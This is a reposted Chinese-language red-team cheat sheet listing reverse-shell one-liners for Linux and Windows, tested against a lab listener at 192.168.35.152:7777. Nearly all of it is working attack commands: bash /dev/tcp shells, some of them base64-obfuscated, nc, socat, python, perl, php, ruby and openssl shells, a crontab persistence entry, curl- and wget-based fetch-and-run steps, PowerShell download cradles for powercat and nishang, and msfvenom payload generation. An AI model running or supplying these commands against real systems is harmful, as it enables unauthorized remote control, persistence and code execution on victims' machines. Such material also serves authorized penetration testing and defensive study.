反弹shell命令速查
2022-7-28 08:8:44 Author: 系统安全运维(查看原文) 阅读量:23 收藏

项目作者:Threekiii

项目地址:https://github.com/Threekiii/Awesome-Redteam/blob/master/tips/%E5%8F%8D%E5%BC%B9shell%E5%91%BD%E4%BB%A4%E9%80%9F%E6%9F%A5.md

【监听端】centos: 192.168.35.152【被控端】kali: 192.168.35.128    # 监听端执行[[email protected] ~]# nc -vvl 7777Ncat: Version 7.50 ( https://nmap.org/ncat )Ncat: Listening on :::7777Ncat: Listening on 0.0.0.0:7777

1、bash

┌──([email protected])-[/home/kali]└─# bash -i >& /dev/tcp/192.168.35.152/7777 0>&1     # 执行失败                                   zsh: 没有那个文件或目录: /dev/tcp/192.168.35.152/7777 

2、bash base64

# /bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzUuMTUyLzc3NzcgMD4mMSAgIA==}|{base64,-d}|{bash,-i}'

3、bash base64 URLencode

# /bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzUuMTUyLzc3NzcgMD4mMSAgIA%3D%3D}|{base64,-d}|{bash,-i}'

4、nc

nc -e /bin/bash 192.168.35.152 7777mknod backpipe p && nc 192.168.35.152 7777 0<backpipe | /bin/bash 1>backpipe rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.35.152 7777 >/tmp/f

5、ncat

ncat  192.168.35.152 7777 -e /bin/bashncat --udp 192.168.35.152 7777 -e /bin/bash

6、curl

# kali开启http服务,把bash命令写入html文件cat bash.html/bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1
# centoscurl 192.168.35.152/bash.html|bash

7、http

攻击方:# 编写shell脚本并启动http服务器echo "bash -i >& /dev/tcp/192.168.35.152/7777 0>&1" > shell.shpython2环境下:python -m SimpleHTTPServer 80python3环境下:python -m http.server 80被控端:# 上传shell.sh文件wget 192.168.35.152/shell.sh# 执行shell.sh文件bash shell.sh

8、crontab

* * * * * root bash -i >& /dev/tcp/192.168.35.152/7777  0>&1

9、whois

# 只能执行指定命令,如pwd命令whois -h 192.168.35.152 -p 7777 `pwd` /pythonpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.35.152",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

10、php

php -r '$sock=fsockopen("192.168.35.152",7777);exec("/bin/sh -i <&3 >&3 2>&3");'

11、ruby

ruby -rsocket -e'f=TCPSocket.open("192.168.35.152",7777).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'  # 执行失败ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.35.152","7777");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

12、socat

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.35.152:7777

13、perl

perl -e 'use Socket;$i="192.168.35.152";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

14、php

php -r '$sock=fsockopen("192.168.35.152",7777);exec("/bin/sh -i <&3 >&3 2>&3");'

15、openssl

# 监听端openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodesopenssl s_server -quiet -key key.pem -cert cert.pem -port 7777# orncat --ssl -vv -l -p 7777
# 受控端mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.35.152:7777 > /tmp/s; rm /tmp/s
Windows下的反弹shell仅测试了nc,执行成功。【监听端】centos: 192.168.35.152【被控端】windows: 192.168.35.1    # 监听端执行[[email protected] ~]# nc -vvl 7777Ncat: Version 7.50 ( https://nmap.org/ncat )Ncat: Listening on :::7777Ncat: Listening on 0.0.0.0:7777

1、powercat

项目地址:https://github.com/besimorhino/powercatSystem.Net.Webclient.DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.35.152 -p 7777 -e cmd

2、nc

nc 192.168.35.152 7777 -e c:\windows\system32\cmd.exe

3、nishang

Nishang是一个基于PowerShell的攻击框架,整合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。项目地址:https://github.com/samratashok/nishang# 将nishang下载到攻击者本地,在目标机使用powershell执行以下命令IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.35.152 -port 7777

4、Reverse UDP shell

IEX (New-Object Net.WebClient).DownloadString('http://192.168.35.152/nishang/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.35.152 -port 7777

5、MSF

# 找出各类反弹一句话payload的路径信息msfvenom -l payloads | grep 'cmd/windows/reverse'
# 生成反弹shell,复制粘贴到靶机上运行msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.35.152 LPORT=7777

好文推荐

工具|红队快速批量打点

实战 | App优惠劵无限领取漏洞挖掘记录

利用 EHole 进行红队快速批量打点

神兵利器 - presshell

渗透测试-Ngrok内网映射与穿透

分享 | 几种实战成功过的webshell免杀方式

推荐一款自动向hackerone发送漏洞报告的扫描器

李姐姐开源DNSLog工具eyes.sh

欢迎关注 系统安全运维


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjE0NDc5OQ==&mid=2247506012&idx=2&sn=04f6cb7110e2af837e7db62fd95941b1&chksm=c3080b2cf47f823a211e0832fd33fe4eae9ef7e8c316d556b197179e3f47c0279f56f6fa915d#rd
如有侵权请联系:admin#unsafe.sh